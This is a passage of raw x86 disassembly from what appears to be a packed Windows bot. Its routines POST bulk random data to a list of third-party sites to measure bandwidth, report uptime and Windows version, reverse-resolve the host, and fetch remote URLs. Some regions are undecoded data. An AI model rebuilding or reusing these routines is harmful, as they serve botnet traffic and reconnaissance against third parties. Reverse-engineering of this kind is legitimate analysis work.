		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AD5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD75	proc near		; CODE XREF: sub_41AF50+D4p
					; sub_41AF50+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B890
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41AF4C
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BC40
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AA54
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41AF4C
		push	50h
		call	dword_4D11F0	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4D1270	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41AF4C
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4D1198	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41AF4C
		push	32003h
		call	sub_41D665
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi ; dword_4270A8
		push	eax
		call	sub_41BF88
		call	sub_41BF92
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BC40
		push	32000h
		push	esi
		push	ebx
		call	sub_41BC40
		push	ebx
		call	sub_41B890
		push	323EAh
		mov	ebx, eax
		call	sub_41D665
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41BF36
		push	[ebp+var_8]
		push	esi
		call	sub_41C560
		push	offset asc_43BB50 ; "\r\n"
		push	esi
		call	sub_41C560
		add	esp, 40h
		push	esi
		call	sub_41B890
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi ; dword_4270A8
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AECC
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AE9C
; ---------------------------------------------------------------------------


loc_41AE99:				; CODE XREF: sub_41AD75+155j
		mov	eax, [ebp+arg_0]


loc_41AE9C:				; CODE XREF: sub_41AD75+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AEAC
		push	[ebp+var_C]
		jmp	short loc_41AEAD
; ---------------------------------------------------------------------------


loc_41AEAC:				; CODE XREF: sub_41AD75+130j
		push	ebx


loc_41AEAD:				; CODE XREF: sub_41AD75+135j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AF33
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AE99


loc_41AECC:				; CODE XREF: sub_41AD75+118j
		call	edi ; dword_4270A8
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41AEF4
		fld1
		fstp	[ebp+arg_0]


loc_41AEF4:				; CODE XREF: sub_41AD75+178j
		push	[ebp+var_4]
		call	dword_4D1288	; closesocket
		push	[ebp+var_8]
		call	sub_41B961
		push	esi
		call	sub_41B961
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41CE38


loc_41AF2E:				; CODE XREF: sub_41AD75+1D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AF33:				; CODE XREF: sub_41AD75+147j
		push	[ebp+var_4]
		call	dword_4D1288	; closesocket
		push	[ebp+var_8]
		call	sub_41B961
		push	esi
		call	sub_41B961
		pop	ecx
		pop	ecx


loc_41AF4C:				; CODE XREF: sub_41AD75+19j
					; sub_41AD75+42j ...
		xor	eax, eax
		jmp	short loc_41AF2E
sub_41AD75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF50	proc near		; CODE XREF: .nsp0:00404958p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AD5B
		push	[ebp+eax*4+var_3C]
		call	sub_41AD75
		push	8
		mov	esi, eax
		call	sub_41AD5B
		push	[ebp+eax*4+var_3C]
		call	sub_41AD75
		add	esp, 10h
		test	esi, esi
		jz	short loc_41B051
		test	eax, eax
		jz	short loc_41B04D
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41B053
; ---------------------------------------------------------------------------


loc_41B04D:				; CODE XREF: sub_41AF50+F4j
		mov	ebx, esi
		jmp	short loc_41B053
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AF50+F0j
		mov	ebx, eax


loc_41B053:				; CODE XREF: sub_41AF50+FBj
					; sub_41AF50+FFj
		push	0Ch
		call	sub_41AD5B
		push	[ebp+eax*4+var_6C]
		call	sub_41AD75
		push	0Ch
		mov	edi, eax
		call	sub_41AD5B
		push	[ebp+eax*4+var_6C]
		call	sub_41AD75
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B08B
		test	eax, eax
		jz	short loc_41B087
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41B08D
; ---------------------------------------------------------------------------


loc_41B087:				; CODE XREF: sub_41AF50+12Ej
		mov	esi, edi
		jmp	short loc_41B08D
; ---------------------------------------------------------------------------


loc_41B08B:				; CODE XREF: sub_41AF50+12Aj
		mov	esi, eax


loc_41B08D:				; CODE XREF: sub_41AF50+135j
					; sub_41AF50+139j
		push	6
		call	sub_41AD5B
		push	[ebp+eax*4+var_1C]
		call	sub_41AD75
		push	6
		mov	edi, eax
		call	sub_41AD5B
		push	[ebp+eax*4+var_1C]
		call	sub_41AD75
		add	esp, 10h
		test	edi, edi
		jz	short loc_41B0C5
		test	eax, eax
		jz	short loc_41B0C1
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41B0C7
; ---------------------------------------------------------------------------


loc_41B0C1:				; CODE XREF: sub_41AF50+168j
		mov	ecx, edi
		jmp	short loc_41B0C7
; ---------------------------------------------------------------------------


loc_41B0C5:				; CODE XREF: sub_41AF50+164j
		mov	ecx, eax


loc_41B0C7:				; CODE XREF: sub_41AF50+16Fj
					; sub_41AF50+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41B0D4
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41B0D7
; ---------------------------------------------------------------------------


loc_41B0D4:				; CODE XREF: sub_41AF50+17Bj
		push	2
		pop	edi


loc_41B0D7:				; CODE XREF: sub_41AF50+182j
		test	esi, esi
		jz	short loc_41B0DF
		add	eax, esi
		jmp	short loc_41B0E0
; ---------------------------------------------------------------------------


loc_41B0DF:				; CODE XREF: sub_41AF50+189j
		dec	edi


loc_41B0E0:				; CODE XREF: sub_41AF50+18Dj
		test	ecx, ecx
		jz	short loc_41B0E8
		add	eax, ecx
		jmp	short loc_41B0E9
; ---------------------------------------------------------------------------


loc_41B0E8:				; CODE XREF: sub_41AF50+192j
		dec	edi


loc_41B0E9:				; CODE XREF: sub_41AF50+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_4420B8
		push	eax
		call	sub_41BF36
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4157A6
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B12D	proc near		; CODE XREF: .nsp0:00404068p
					; .nsp0:004044DDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4E14C0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C030
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B12D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B196	proc near		; CODE XREF: sub_417517+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	dword_4270C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41B229
		cmp	[ebp+var_90], 4
		jnz	short loc_41B1FF
		cmp	[ebp+var_8C], esi
		jnz	short loc_41B1E7
		cmp	[ebp+var_84], 1
		jnz	short loc_41B1DA
		push	1
		pop	esi


loc_41B1DA:				; CODE XREF: sub_41B196+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41B229
		push	1
		jmp	short loc_41B228
; ---------------------------------------------------------------------------


loc_41B1E7:				; CODE XREF: sub_41B196+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41B1F4


loc_41B1F0:				; CODE XREF: sub_41B196+78j
		push	2
		jmp	short loc_41B228
; ---------------------------------------------------------------------------


loc_41B1F4:				; CODE XREF: sub_41B196+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41B229
		jmp	short loc_41B219
; ---------------------------------------------------------------------------


loc_41B1FF:				; CODE XREF: sub_41B196+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41B229
		cmp	[ebp+var_8C], esi
		jz	short loc_41B1F0
		cmp	[ebp+var_8C], 1
		jnz	short loc_41B21D


loc_41B219:				; CODE XREF: sub_41B196+67j
		push	3
		jmp	short loc_41B228
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B196+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41B229
		push	7


loc_41B228:				; CODE XREF: sub_41B196+4Fj
					; sub_41B196+5Cj ...
		pop	esi


loc_41B229:				; CODE XREF: sub_41B196+25j
					; sub_41B196+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B196	endp

; ---------------------------------------------------------------------------
		dw 5653h
		dd 4240BE57h, 310F000Fh, 3E868h, 8BFA8B00h, 6415FFD8h
		dd 0F004270h, 6AC32B31h, 56D71B00h, 89E85052h, 8B000028h
		dd 85D88BFAh, 72D777FFh, 77DE3B04h, 6A006AD1h, 0E8535764h
		dd 28E0h, 646ACA8Bh, 0F08BD233h, 7758C985h, 8305725Bh
		dd 57350FEh, 0D2334B6Ah, 77C98558h, 8305724Bh, 57347FEh
		dd 0D233426Ah, 77C98558h, 8305723Bh, 57337FEh, 0D233326Ah
		dd 77C98558h, 8305722Bh, 57326FEh, 0D233216Ah, 77C98558h
		dd 8305721Bh, 5731EFEh,	0D233196Ah, 77C98558h, 8305720Bh
		dd 4730AFEh, 0D233C033h, 0D11BC62Bh, 0D713C303h, 0C35B5E5Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2E4	proc near		; CODE XREF: .nsp0:0040423Ep

var_1137B	= byte ptr -1137Bh
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_443398
		mov	[ebp+var_CC], 94h
		call	dword_4270C8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B36B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B347
		cmp	[ebp+var_BC], 1
		jnz	short loc_41B331
		mov	[ebp+var_4], offset a95	; "95"


loc_41B331:				; CODE XREF: sub_41B2E4+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B3E6
		mov	[ebp+var_4], offset aNt_0 ; "NT"
		jmp	short loc_41B3B7
; ---------------------------------------------------------------------------


loc_41B347:				; CODE XREF: sub_41B2E4+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B359
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_41B3AE
; ---------------------------------------------------------------------------


loc_41B359:				; CODE XREF: sub_41B2E4+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B3A7
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_41B3AE
; ---------------------------------------------------------------------------


loc_41B36B:				; CODE XREF: sub_41B2E4+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B3A7
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B385
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_41B3AE
; ---------------------------------------------------------------------------


loc_41B385:				; CODE XREF: sub_41B2E4+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B397
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_41B3AE
; ---------------------------------------------------------------------------


loc_41B397:				; CODE XREF: sub_41B2E4+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B3AE


loc_41B3A7:				; CODE XREF: sub_41B2E4+7Cj
					; sub_41B2E4+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_41B3AE:				; CODE XREF: sub_41B2E4+73j
					; sub_41B2E4+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B3E6


loc_41B3B7:				; CODE XREF: sub_41B2E4+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B3E6
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_2	; "%s (%s)"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B3E6:				; CODE XREF: sub_41B2E4+54j
					; sub_41B2E4+D1j ...
		mov	ax, word_43FB1C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4D10D0
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B41F
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax ; dword_4D10D0


loc_41B41F:				; CODE XREF: sub_41B2E4+12Cj
		push	[ebp+arg_4]
		call	sub_40AB6A
		pop	ecx
		push	eax
		call	dword_4D1230	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4D11A8	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41B448
		push	dword ptr [eax]
		jmp	short loc_41B44D
; ---------------------------------------------------------------------------


loc_41B448:				; CODE XREF: sub_41B2E4+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B44D:				; CODE XREF: sub_41B2E4+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41BF36
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 0B40000h
		cmp	cl, [ebp+var_1137B]
		jmp	fword ptr [edx+46h]
sub_41B2E4	endp

; ---------------------------------------------------------------------------
		db 50h,	68h, 0ACh
		dd 53004423h, 409BEh, 0E8565300h, 724B78h, 0A4858DDDh
		dd 6AFFFFFEh, 28685046h, 530043BDh, 61E85653h, 3300724Bh
		dd 458D206Ah, 0E85053C8h, 794h,	8D0CC483h, 0E850C845h
		dd 724B48h, 8D5353EBh, 5053E845h, 0FB18858Dh, 0E850FFFFh
		dd 0BB5h, 50E8458Dh, 0F818858Dh, 0E850FFFFh, 0FFFFBB5Fh
		dd 0F08B606Ah, 18BD8D59h, 0F3FFFFF8h, 8D606AA5h, 0FFF818B5h
		dd 0BD8D59FFh, 0FFFFF998h, 0E853A5F3h, 0FFFFFC2Dh, 5020C483h
		dd 0FEA4858Dh, 8D50FFFFh, 0FFFEEC85h, 858D50FFh, 0FFFFFDA4h
		dd 0C75FF50h, 0FEF649E8h, 8D5059FFh, 0FFFC1C85h, 858D50FFh
		dd 0FFFFFB18h, 18858D50h, 0FFFFFFFAh, 0FFFF40B5h, 3CB5FFFFh
		dd 0FFFFFFFFh, 0FFFF38B5h, 0FC75FFFFh, 98858D50h, 50FFFFFAh
		dd 0C1D4458Bh, 50530AE8h, 0FFB9CAE8h, 505959FFh, 0C1D0458Bh
		dd 50530AE8h, 0FFB9BAE8h, 505959FFh, 0FFFCB5E8h, 685052FFh
		dd 4422D0h, 20068h, 875FF00h, 0AA3E8h, 8458B00h, 5F50C483h
		dd 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B598	proc near		; CODE XREF: .nsp0:0040426Cp
					; .nsp0:00408D02p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		cmp	dword_4D12D8, 0
		jnz	short loc_41B60C
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4D10B4	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_41B5ED
		lea	eax, [ebp+var_8C]
		push	offset dword_44242C
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41B5ED:				; CODE XREF: sub_41B598+40j
		test	[ebp+var_C], 1
		jz	short loc_41B605
		push	offset dword_442424


loc_41B5F8:				; CODE XREF: sub_41B598+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_41B62B
; ---------------------------------------------------------------------------


loc_41B605:				; CODE XREF: sub_41B598+59j
		push	offset off_442420
		jmp	short loc_41B5F8
; ---------------------------------------------------------------------------


loc_41B60C:				; CODE XREF: sub_41B598+28j
		mov	esi, offset off_44241C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_41BF36
		add	esp, 10h


loc_41B62B:				; CODE XREF: sub_41B598+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_4423D8
		push	200h
		push	[ebp+arg_0]
		call	sub_41C030
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B598	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B65E	proc near		; DATA XREF: .nsp0:00409154o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_44250C
		call	sub_41BC40
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BC40
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BC40
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BC40
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4D10EC	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41B7F8
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B735
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_41B735:				; CODE XREF: sub_41B65E+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B753
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_41B753:				; CODE XREF: sub_41B65E+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B76D
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_41B76D:				; CODE XREF: sub_41B65E+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B787
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_41B787:				; CODE XREF: sub_41B65E+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4D11A0
		call	dword_4D11C4	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B810
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4D11B8	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B817
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4D1164	; HttpSendRequestA
		test	eax, eax
		jz	short loc_41B7F1
		push	offset dword_4424F0
		jmp	short loc_41B81C
; ---------------------------------------------------------------------------


loc_41B7F1:				; CODE XREF: sub_41B65E+18Aj
		push	offset unk_4424B4
		jmp	short loc_41B81C
; ---------------------------------------------------------------------------


loc_41B7F8:				; CODE XREF: sub_41B65E+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_442498
		push	eax
		call	sub_41BF36
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B82A
; ---------------------------------------------------------------------------


loc_41B810:				; CODE XREF: sub_41B65E+153j
		push	offset unk_44246C
		jmp	short loc_41B81C
; ---------------------------------------------------------------------------


loc_41B817:				; CODE XREF: sub_41B65E+17Bj
		push	offset unk_44243C


loc_41B81C:				; CODE XREF: sub_41B65E+191j
					; sub_41B65E+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_41B82A:				; CODE XREF: sub_41B65E+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B855
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_4099D2
		add	esp, 14h


loc_41B855:				; CODE XREF: sub_41B65E+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4157A6
		pop	ecx
		push	esi
		call	dword_4D1224	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_4D1224	; InternetCloseHandle
